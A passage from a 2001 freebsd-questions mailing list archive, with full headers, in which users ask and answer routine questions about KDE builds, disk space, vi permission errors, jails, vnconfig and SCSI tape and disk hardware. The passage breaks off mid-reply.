owner-freebsd-questions Mon Nov 19 22:22:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sdf.lonestar.org (sdf.lonestar.org [209.221.165.117]) by hub.freebsd.org (Postfix) with ESMTP id 435A937B419 for ; Mon, 19 Nov 2001 22:22:52 -0800 (PST) Received: (from thursday@localhost) by sdf.lonestar.org (8.11.6/8.11.6) id fAK6Mpn02751 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 06:22:51 GMT Date: Tue, 20 Nov 2001 06:22:51 +0000 From: what ever To: freebsd-questions@freebsd.org Subject: ot: kde + fam Message-ID: <20011120062251.A2543@sdf.freeshell.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hey, This is a bit off topic. I just upgraded from kde 2.1 to 2.2, and I'm wondering if it's possible to force kde to function without fam, which seems to require portmapper. Has anyone had any success with this? Thanks, -- thursday@sdf.lonestar.org SDF Public Access UNIX System - http://sdf.lonestar.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 23: 2:36 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mip.co.za (puck.mip.co.za [209.212.106.44]) by hub.freebsd.org (Postfix) with ESMTP id 8D1D337B405 for ; Mon, 19 Nov 2001 23:02:22 -0800 (PST) Received: from patrick (patrick.mip.co.za [10.3.13.181]) by mip.co.za (8.9.3/8.9.3) with SMTP id JAA75874; Tue, 20 Nov 2001 09:02:05 +0200 (SAST) (envelope-from patrick@mip.co.za) From: "Patrick O'Reilly" To: "Mike Meyer" Cc: Subject: RE: ? - /usr/obj contains symlink to /usr/src Date: Tue, 20 Nov 2001 09:06:54 +0200 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <15353.16635.475611.694378@guru.mired.org> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > -----Original Message----- > From: Mike Meyer > Sent: 19 November 2001 19:27 > > Patrick O'Reilly types: > > Is this a problem or not? > > > > Looks right to me. If they need a tree they aren't going to write to, > pulling it in with a symlink seems like a good idea. > > ; Mon, 19 Nov 2001 23:18:44 -0800 (PST) Received: from lagrange.isy.liu.se (lagrange.isy.liu.se [130.236.49.127]) by isy.liu.se (8.11.4/8.11.4) with ESMTP id fAK7IdN22860; Tue, 20 Nov 2001 08:18:39 +0100 (MET) Message-ID: X-Mailer: XFMail 1.5.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20011120004315.L2155@happy.cow.org> Date: Tue, 20 Nov 2001 08:19:01 +0100 (CET) From: Micke Josefsson To: ravi pina Subject: Re: / is full!!!! Please help... Cc: freebsd-questions@FreeBSD.ORG, Tom Kersten Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 20-Nov-2001 ravi pina wrote: > On Mon, Nov 19, 2001 at 09:40:07PM -0800, Tom Kersten said at one point in > time: >> Hello all, >> >> My root directory is getting close to being full >> (97+%). It is 45 mb....is this too small??? I >> symlinked the /var directory to /usr/var after >> installation and thought that 45 mb would be >> enough...it says that 30 is sufficient in "The >> Complete FreeBSD"..so I put in a little more just in >> case. Anyway, what is the best way to fix this? I read >> a little bit about the 'growfs' command...but am not >> sure of the *best* way to fix my problem. Any tips are >> appreciated. If you need more detailed information, >> please let me know... > > check /root > that is no doubt your problem. also check where > /tmp is. stale core files too. > If you have made a new kernel there are lots of files in /modules.old that can be removed too. /M ---------------------------------- Michael Josefsson, MSEE mj@isy.liu.se This message was sent by XFMail running on FreeBSD 4.4-STABLE ---------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 23:19:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 5019137B419 for ; Mon, 19 Nov 2001 23:19:45 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 1664z3-0007IU-00; Tue, 20 Nov 2001 15:06:17 +0800 Date: Tue, 20 Nov 2001 15:06:16 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: Scott Reber Cc: freebsd-questions@freebsd.org Subject: Re: vi - permission denied error In-Reply-To: <4.3.2.7.2.20011117175434.00b14b50@atltechgroup.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi Scott! You basically have a access/permissions error or your disk's out of space. On Sat, 17 Nov 2001, Scott Reber wrote: > I am installing a new FreeBsd machine. 4.4 Release. > When I attempt to edit a file as a non-root user in that non-root's home > directory I get the following: > > tethys|~$ vi .bash_profile > ex/vi: Error: /var/tmp/vi.recover: Permission denied > ex/vi: Modifications not recoverable if the session fails > ex/vi: Error: .bash_profile: Permission denied > ex/vi: Error: Unable to create temporary file: Permission denied > > Editing as root works as expected. What have I done wrong? > > Other info: > > tethys|~$ uname -a > FreeBSD tethys.wanlanservices.net 4.4-RELEASE FreeBSD 4.4-RELEASE #0: Fri > Nov 16 22:06:23 EST > 2001 root@tethys.wanlanservices.net:/usr/obj/usr/src/sys/TETHYS i386 > > tethys|~$ ls -al > total 15 > drwxr-xr-x 4 admin wheel 512 Nov 17 17:21 . > drwxr-xr-x 3 root wheel 512 Nov 16 11:17 .. > -rw------- 1 admin wheel 1461 Nov 17 17:21 .bash_history > -rwxr-xr-x 1 admin wheel 918 Nov 16 23:18 .bash_profile > -rw-r--r-- 1 admin wheel 771 Nov 16 11:17 .cshrc > -rw-r--r-- 1 admin wheel 255 Nov 16 11:17 .login > -rw-r--r-- 1 admin wheel 160 Nov 16 11:17 .login_conf > -rw------- 1 admin wheel 371 Nov 16 11:17 .mail_aliases > -rw-r--r-- 1 admin wheel 331 Nov 16 11:17 .mailrc > -rw-r--r-- 1 admin wheel 789 Nov 16 11:17 .profile > -rw------- 1 admin wheel 276 Nov 16 11:17 .rhosts > -rw-r--r-- 1 admin wheel 852 Nov 16 11:17 .shrc > drwxr-xr-x 2 admin wheel 512 Nov 16 18:24 .ssh > > ___________________________________________________________ > Scott Reber voice: 770 977-7044 > AtLANta TEChnical Group, Inc. fax: 770 973-8955 > sreber@atltechgroup.com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 23:24: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from kulog.upm.edu.ph (kulog.upm.edu.ph [165.220.24.62]) by hub.freebsd.org (Postfix) with ESMTP id 8F40D37B405 for ; Mon, 19 Nov 2001 23:23:53 -0800 (PST) Received: from kulog.upm.edu.ph [165.220.24.62] (ammag) by kulog.upm.edu.ph with smtp (Exim 2.05 #1 (Debian)) id 16657f-0007iI-00; Tue, 20 Nov 2001 15:15:11 +0800 Date: Tue, 20 Nov 2001 15:15:10 +0800 (PHT) From: "Anthony M. Magsino" X-Sender: ammag@kulog.upm.edu.ph To: frogger3099 Cc: questions@FreeBSD.org Subject: Re: Freebsd Crashing when exiting X In-Reply-To: <000801c17000$1fd13600$0500a8c0@roylok1.mi.home.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi frogger3099! try reconfiguring your X to use minimal resources (lower resolution, basic screens, etc) or maybe you should try XFree86-4.0? On Sat, 17 Nov 2001, frogger3099 wrote: > Hi, I have freebsd 4.4 with gnome 1.4 and xfree86 3.3.6 when i boot up my computer everything is fine. if i idle for a little bit the screen will blank out, which is fine if it does it in the console, but if it blanks out in X i think that the kernel is crashing. If i exit x the screen goes to a bunch of crazy letters and numbers and i lose control. if i try to halt the computer from x after the screen blanks out it goes to the crazy letters and numbers and freezes. I've tried using alt+ctrl+del but it doesn't work, i have to hit the reset button and wait for it to go through the fsck stuff. I've tried to use apm by typing apm -e disable then i've also tried apm -e disable -h disable -d disable. I've even tried using apm -e enable, apm -e enable -h enable -d enable and i still come up with the same results. does anyone have any suggestions? > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 23:38:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from backup.dagupan.com (www.psysc.org.ph [206.101.69.5]) by hub.freebsd.org (Postfix) with ESMTP id D263437B417 for ; Mon, 19 Nov 2001 23:38:16 -0800 (PST) Received: by apmail.dagupan.com with Internet Mail Service (5.5.2653.19) id ; Tue, 20 Nov 2001 15:38:19 +0800 Message-ID: <10F29E27A956D511B0940050DA8D86A9340BB5@apmail.dagupan.com> From: francisv@dagupan.com To: freebsd-questions@freebsd.org Subject: Correct way of calling vnconfig Date: Tue, 20 Nov 2001 15:38:09 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I can't figure out why this command is not working: [root@host root]# vnconfig -e vn0c /usr/local/vnodes/file \ mount=/usr/local/vps/mount_point vnconfig: mount: Device busy I can mount it if I do `vnconfig vn0 /usr/local/vnodes/file' and then `mount /dev/vn0c /usr/local/vps/mount_point' Can someone point me in the right direction? Thanks! --- francis a. vidal [bitstop network services] | http://www.dagupan.com streaming media + web hosting | http://www.keystone.ph v(02)330-2871,(02)330-2872; f(02)330-2873 | http://www.kuro.ph To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 23:40:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from longfellow.nbrewer.com (nbrewer.dsl.visi.com [208.42.141.101]) by hub.freebsd.org (Postfix) with ESMTP id A1F9737B405; Mon, 19 Nov 2001 23:40:12 -0800 (PST) Received: by longfellow.nbrewer.com (Postfix, from userid 1001) id B973D1880; Tue, 20 Nov 2001 01:40:11 -0600 (CST) Date: Tue, 20 Nov 2001 01:40:11 -0600 From: Christopher Farley To: Greg Lehey Cc: Anthony Atkielski , Noor Dawod , freebsd-questions@FreeBSD.org Subject: Re: SCSI tape back that works under FreeBSD Message-ID: <20011120014009.A794@northernbrewer.com> Mail-Followup-To: Christopher Farley , Greg Lehey , Anthony Atkielski , Noor Dawod , freebsd-questions@FreeBSD.org References: <002f01c17162$7d190550$0a00000a@atkielski.com> <20011120120938.M76318@monorchid.lemis.com> <007f01c17164$a3284c40$0a00000a@atkielski.com> <20011120121857.O76318@monorchid.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011120121857.O76318@monorchid.lemis.com>; from grog@FreeBSD.org on Tue, Nov 20, 2001 at 12:18:57PM +1030 Organization: Northern Brewer, St. Paul, MN Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Greg Lehey (grog@FreeBSD.org) wrote: > What would you replace them with? It's a question of cost. There are > very few reliable tape drives. But if disks were anywhere near as > unreliable as tapes, people would be up in arms. Given the supposed unreliability of tape drives, this may not be wise, but I bought a couple of cheap DLT drives on eBay. You can get an external DLT4000 for about $250. No warrantee, caveat emptor, whatever. It's $250 for a 40 Gig tape drive (about $500 for a 70 gig). If it breaks you can throw it away and buy another one. Compared to the DDS-2 drives I've owned, these DLT drives seem to be build like Volvos: they're big, heavy bricks. And, you know, maybe you don't want your tape drives miniaturized, feeding tape through hairpin turns. I'm betting that bigger is better. -- Christopher Farley www.northernbrewer.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 23:44:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from scaup.prod.itd.earthlink.net (scaup.mail.pas.earthlink.net [207.217.120.49]) by hub.freebsd.org (Postfix) with ESMTP id 9C85837B416 for ; Mon, 19 Nov 2001 23:44:37 -0800 (PST) Received: from dialup-209.244.107.81.dial1.sanjose1.level3.net ([209.244.107.81] helo=blossom.cjclark.org) by scaup.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 1665a8-0005NV-00; Mon, 19 Nov 2001 23:44:37 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAK7i9802885; Mon, 19 Nov 2001 23:44:09 -0800 (PST) (envelope-from cjc) Date: Mon, 19 Nov 2001 23:44:09 -0800 From: "Crist J. Clark" To: francisv@dagupan.com Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Help with setting up jail Message-ID: <20011119234409.Y69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: <10F29E27A956D511B0940050DA8D86A9340BB1@apmail.dagupan.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <10F29E27A956D511B0940050DA8D86A9340BB1@apmail.dagupan.com>; from francisv@dagupan.com on Tue, Nov 20, 2001 at 02:15:36PM +0800 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 02:15:36PM +0800, francisv@dagupan.com wrote: > Thanks Crist! BTW, do you also know other references/pointers/tips related > to jail (e.g. setting up of web services, ftp, mail, etc.)? Set them up like you normally would. People sometimes forget the obvious, everything that the jail needs to operate must be in the jail (the jail cannot access the parent environment). If something doesn't work, 1) Try the _exact_ same setup in the parent environment. If it doesn't work there either, it's not a jail(8) issue. 2) Try to figure out what the programs are doing that is not allowed in a jail. See if you can configure around it. 3) Figure out if it can be done at all and get into serious hacking to make the programs or jail(8) work. -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 23:50: 4 2001 Delivered-To: freebsd-questions@freebsd.org Received: from swan.prod.itd.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by hub.freebsd.org (Postfix) with ESMTP id F118D37B417 for ; Mon, 19 Nov 2001 23:49:59 -0800 (PST) Received: from dialup-209.244.107.81.dial1.sanjose1.level3.net ([209.244.107.81] helo=blossom.cjclark.org) by swan.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 1665fK-0005v5-00; Mon, 19 Nov 2001 23:49:59 -0800 Received: (from cjc@localhost) by blossom.cjclark.org (8.11.6/8.11.3) id fAK7nF802914; Mon, 19 Nov 2001 23:49:15 -0800 (PST) (envelope-from cjc) Date: Mon, 19 Nov 2001 23:49:15 -0800 From: "Crist J. Clark" To: "Anthony M. Magsino" Cc: Kris Kennaway , freebsd-questions@FreeBSD.ORG Subject: Re: gdm Message-ID: <20011119234915.Z69555@blossom.cjclark.org> Reply-To: cjclark@alum.mit.edu References: <20011116221907.A86602@xor.obsecurity.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from ammag@kulog.upm.edu.ph on Tue, Nov 20, 2001 at 02:34:21PM +0800 X-URL: http://people.freebsd.org/~cjc/ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 02:34:21PM +0800, Anthony M. Magsino wrote: > Hi Kris! > > I did, but it would work. . . I assume it "would not" work. Whatever you do, don't give us any hints about what may have gone wrong. We like to excercise our psychic abilities to solve these problems. -- Crist J. Clark | cjclark@alum.mit.edu | cjclark@jhu.edu http://people.freebsd.org/~cjc/ | cjc@freebsd.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 0: 1:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f236.law11.hotmail.com [64.4.17.236]) by hub.freebsd.org (Postfix) with ESMTP id B182437B416 for ; Tue, 20 Nov 2001 00:01:36 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 20 Nov 2001 00:01:36 -0800 Received: from 63.228.184.142 by lw11fd.law11.hotmail.msn.com with HTTP; Tue, 20 Nov 2001 08:01:36 GMT X-Originating-IP: [63.228.184.142] From: "Charles Burns" To: questions@freebsd.org Subject: Recommended SCSI harddrives Date: Tue, 20 Nov 2001 01:01:36 -0700 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 20 Nov 2001 08:01:36.0557 (UTC) FILETIME=[93BBADD0:01C17199] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello all- I asked earlier what some good SCSI cards were,to replace the one that my new motherboard didn't like. I ended up getting the Adaptec 29110. Works great. (unfortunately, the day before it arrived, I got my old card working perfectly...) Now, what are some good SCSI hard disks? This card is getting board (heh. Sorry) with 2 CD-roms hooked up. I have looked at the Seagate Cheetah X15, but at 15KRPM it would be too loud and it is too expensive for the amount of space. I have read about some Quantum drives from Storagereview.com, but I have never used a Quantum drive of any kind, ever, and remember only bad memories of fixing systems with those crappy Bigfoot drives. How are Quantum's SCSI drives? I was looking at IBM as well, but I have lost trust in them after their 75GXP drive, which is roughly as reliable as Windows 95. Are their SCSI drives better? Priorities for this drive would be, in this order: Reliability Price/size ratio Speed It will be used on a FreeBSD workstation (of course) and will be doing quite a few buildworlds. Any bad experiences/good experiences with recent drives would be very helpful. Charles Burns _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 0:17:53 2001 Delivered-To: freebsd-questions@freebsd.org Received: from bps.jodocus.org (c115139.upc-c.chello.nl [212.187.115.139]) by hub.freebsd.org (Postfix) with ESMTP id 4272037B416 for ; Tue, 20 Nov 2001 00:17:51 -0800 (PST) Received: (from joost@localhost) by bps.jodocus.org (8.11.3/8.11.3) id fAK8HkD76875; Tue, 20 Nov 2001 09:17:46 +0100 (CET) (envelope-from joost) Date: Tue, 20 Nov 2001 09:17:46 +0100 From: Joost Bekkers To: "Gary W. Swearingen" Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ipfilter + bridge Message-ID: <20011120091746.A76854@bps.jodocus.org> References: <20011119094950.A72386@bps.jodocus.org> <1in11i30jq.11i@localhost.localdomain> <20011119225737.A74478@bps.jodocus.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: ; from swear@blarg.net on Mon, Nov 19, 2001 at 02:53:47PM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 02:53:47PM -0800, Gary W. Swearingen wrote: > > > Joost Bekkers writes: > > > > Gary, would you mind looking at the date of this pr ;-) > > I was just trying to encourage you and others to report bugs. Some > people need it, if you don't. No hard feelings, I hope. No need > to reply -- I'll make another assumption. :-) > no hard feelings. I had a full day of fighting with ms-wind'ohs. > (Yes, I know: When you ASSUME, you make an ASS out of U, not ME.) I didn't know this one. -- greetz Joost joost@jodocus.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 0:41:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f18.law11.hotmail.com [64.4.17.18]) by hub.freebsd.org (Postfix) with ESMTP id 24EF237B405 for ; Tue, 20 Nov 2001 00:41:09 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 20 Nov 2001 00:41:08 -0800 Received: from 63.228.184.142 by lw11fd.law11.hotmail.msn.com with HTTP; Tue, 20 Nov 2001 08:41:08 GMT X-Originating-IP: [63.228.184.142] From: "Charles Burns" To: questions@freebsd.org Subject: Cannot compile KDE from ports Date: Tue, 20 Nov 2001 01:41:08 -0700 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 20 Nov 2001 08:41:08.0958 (UTC) FILETIME=[19CB57E0:01C1719F] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Just wondering if anyone knows this one off the top of their head... I compiled XFree 4.2 and Gnome perfectly, KDE spits out this error: In file included from /usr/local/include/libxml2/libxml/parser.h:576cc -DHAVE_CONFIG_H -I. -I. -I../.. -I./.. -I/usr/local/include/libxml2/libxml -I/usr/local/include/libxml2 -I/usr/include -D_GETOPT_H -D_PTH_H_ -D_PTH_PTHREAD_H_ -I/usr/local/include -I/usr/local/include -I/usr/X11R6/include/qt2 -D_THREAD_SAFE -I/usr/local/include -O0 -O -pipe -c transform.c -fPIC -DPIC -o .libs/transform.o , from /usr/local/include/libxml2/libxml/xmlerror.h:4, from templates.c:18: /usr/local/include/libxml2/libxml/globals.h:70: syntax error before `xmlGenericErrorFunc' /usr/local/include/libxml2/libxml/globals.h:217: syntax error before `xmlGenericError' /usr/local/include/libxml2/libxml/globals.h:217: warning: data definition has no type or storage class gmake[3]: *** [templates.lo] Error 1 gmake[3]: *** Waiting for unfinished jobs.... transform.c: In function `xsltRegisterAllElement': transform.c:3371: warning: passing arg 4 of `xsltRegisterExtElement' from incompatible pointer type gmake[3]: Leaving directory `/usr/ports/x11/kdelibs2/work/kdelibs-2.2.1/kdoctools/libxslt' gmake[2]: *** [all-recursive] Error 1 gmake[2]: Leaving directory `/usr/ports/x11/kdelibs2/work/kdelibs-2.2.1/kdoctools' gmake[1]: *** [all-recursive] Error 1 gmake[1]: Leaving directory `/usr/ports/x11/kdelibs2/work/kdelibs-2.2.1' gmake: *** [all-recursive-am] Error 2 *** Error code 2 1 error (it repeats these last 2 lines about 10 times) I took a look at one of the C files that it is complaining about and nothing was obviously wrong, but I couldn't really find out without following a bunch of extern functions (...and I probably still wouldn't know, not very good at C). No big emergency, I like Gnome better anyway. KDE just has some nice tools like Koffice. Charles Burns _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 0:52:29 2001 Delivered-To: freebsd-questions@freebsd.org Received: from clientmail.realtime.co.uk (simian.realtime.co.uk [213.52.146.137]) by hub.freebsd.org (Postfix) with ESMTP id 28EE337B416 for ; Tue, 20 Nov 2001 00:52:26 -0800 (PST) Received: from cyclops.ehsrealtime.com ([213.52.146.194]) by clientmail.realtime.co.uk with esmtp (Exim 3.20 #1) id 1666dg-00080T-01; Tue, 20 Nov 2001 08:52:20 +0000 Received: from byrons (helo=localhost) by cyclops.ehsrealtime.com with local-esmtp (Exim 3.33 #1) id 1666cE-0004kz-00; Tue, 20 Nov 2001 08:50:50 +0000 Date: Tue, 20 Nov 2001 08:50:50 +0000 (GMT) From: Byron Schlemmer X-X-Sender: To: Noor Dawod Cc: Subject: Re: SCSI tape back that works under FreeBSD In-Reply-To: Message-ID: <20011120084709.K18194-100000@cyclops.ehsrealtime.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 19 Nov 2001, Noor Dawod wrote: > Hi, > > I want to buy a SCSI tape backup (DAT) for our server. Can anyone recommend > a good one? fast and reliable that works under FreeBSD. > > While we're at it, how do you back up to one of these tape drives? > > Thanks in advance. I can wholeheartedly recommend the HP DAT 40x6e. http://www.products.storage.hp.com/eprise/main/storage/DisplayPages/summary.htm?DataPage=dds4-dat40 We use it with the Amanda backup software. http://www.amanda.org Works like a charm, -byron To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 1: 4:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mmu.edu.my (ext-dns.mmu.edu.my [203.106.62.11]) by hub.freebsd.org (Postfix) with ESMTP id 9D97E37B416 for ; Tue, 20 Nov 2001 01:04:24 -0800 (PST) Received: from venus.cyber.mmu.edu.my (venus.cyber.mmu.edu.my [203.106.62.12]) by mmu.edu.my (8.9.1b+Sun/8.9.1) with ESMTP id QAA03283; Tue, 20 Nov 2001 16:58:54 +0800 (MYT) Received: from lunar.cyber.mmu.edu.my (lunar.cyber.mmu.edu.my [10.100.3.5]) by venus.cyber.mmu.edu.my (8.8.8+Sun/8.8.8) with ESMTP id RAA26760; Tue, 20 Nov 2001 17:02:21 +0800 (SGT) Received: from mmu.edu.my (localhost [127.0.0.1]) by lunar.cyber.mmu.edu.my (8.9.3+Sun/8.9.1) with SMTP id RAA22789; Tue, 20 Nov 2001 17:00:44 +0800 (SGT) Received: from 10.100.98.21 (SquirrelMail authenticated user s9810048) by 10.100.3.5 with HTTP; Tue, 20 Nov 2001 17:00:45 +0800 (SGT) Message-ID: <2519.10.100.98.21.1006246845.squirrel@10.100.3.5> Date: Tue, 20 Nov 2001 17:00:45 +0800 (SGT) Subject: Re: Mysterious boot during the night From: "Deman" To: anthony@atkielski.com In-Reply-To: <008201c17164$d2220e00$0a00000a@atkielski.com> References: <008201c17164$d2220e00$0a00000a@atkielski.com> Cc: freebsd-questions@FreeBSD.ORG X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Greg writes: > >> Do I need to spell that out? Because bug fixes are >> easier to make than ISO images. > > That won't answer the IT manager's question: Which of these versions do I > install on our mission-critical production servers, and why? > I don't think that IT manager will ask such a question. Please RTFM. RELEASE is from STABLE branch. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 1:20:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from folsom.tinc-org.com (tinc-org.com [64.6.65.10]) by hub.freebsd.org (Postfix) with ESMTP id BF80E37B417 for ; Tue, 20 Nov 2001 01:20:00 -0800 (PST) Received: by folsom.tinc-org.com (Postfix, from userid 1001) id C86FC228F5; Tue, 20 Nov 2001 03:19:54 -0600 (CST) Date: Tue, 20 Nov 2001 03:19:54 -0600 From: Jeff Fisher To: francisv@dagupan.com Cc: freebsd-questions@freebsd.org Subject: Re: Jail in production use Message-ID: <20011120031954.A6867@folsom.tinc-org.com> References: <10F29E27A956D511B0940050DA8D86A9340BAE@apmail.dagupan.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <10F29E27A956D511B0940050DA8D86A9340BAE@apmail.dagupan.com>; from francisv@dagupan.com on Tue, Nov 20, 2001 at 01:38:01PM +0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, Nov 20, 2001 at 01:38:01PM +0800, francisv@dagupan.com wrote: > > Hi, > > Can someone point me to examples in setting up jail for use in a production > environment? I've managed to setup jail but the next step is to include > pre-configured services like apache, mysql, postgresql, postfix, pop3, > imap4, etc. The easiest way is to just copy the ports tree into your jail, login to the jail, cd and make 